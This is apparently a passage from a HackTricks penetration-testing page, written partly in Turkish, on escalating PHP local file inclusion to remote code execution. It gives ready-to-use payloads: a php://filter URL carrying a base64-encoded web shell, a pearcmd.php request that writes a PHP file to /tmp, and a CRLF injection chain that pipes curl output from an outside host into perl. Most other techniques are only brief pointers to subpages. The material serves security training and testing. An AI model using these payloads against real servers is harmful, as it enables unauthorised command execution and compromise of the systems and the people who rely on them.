http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters ile (dosya gerekmez)

This writeup açıklar ki php filters kullanarak istenen içeriği çıktı olarak üretebilirsiniz. Bu temelde include için arbitrary php code üretebileceğiniz ve bunu bir dosyaya yazmanıza gerek olmadığı anlamına gelir.

LFI2RCE via PHP Filters

segmentation fault ile

Upload edilen ve /tmp içinde temporary olarak saklanacak bir dosya yükleyin, sonra aynı istekte bir segmentation fault tetikleyin; böylece temporary dosya silinmeyecek ve onu arayabilirsiniz.

LFI2RCE via Segmentation Fault

Nginx temp file storage ile

Eğer bir Local File Inclusion bulduysanız ve Nginx PHP’nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS ile

Bir Local File Inclusion bulduysanız, hatta bir session’ınız olmasa ve session.auto_start Off olsa bile. Eğer multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS sağlarsanız, PHP session’ı sizin için etkinleştirir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows’ta temp file uploads ile

Bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa, RCE elde edebilirsiniz:

LFI2RCE Via temp file uploads

pearcmd.php + URL args ile

As explained in this post, /usr/local/lib/phppearcmd.php scripti php docker imajlarında varsayılan olarak bulunur. Ayrıca, URL üzerinden script’e argüman geçirmek mümkündür çünkü bir URL parametresi = içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bkz. watchTowr’s write-up ve Orange Tsai’s “Confusion Attacks”.

Aşağıdaki istek /tmp/hello.php içinde <?=phpinfo()?> içeriğine sahip bir dosya oluşturur:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Aşağıdaki, bir CRLF vuln kullanılarak RCE elde edilmesini gösteriyor (kaynak: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() ile (file_uploads = on)

If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure ile

If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce ile

If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:

LFI2RCE via Eternal waiting

Fatal Error’a

If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).

Bunun nasıl işe yarayacağını bilmiyorum ama işe yarayabilir.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin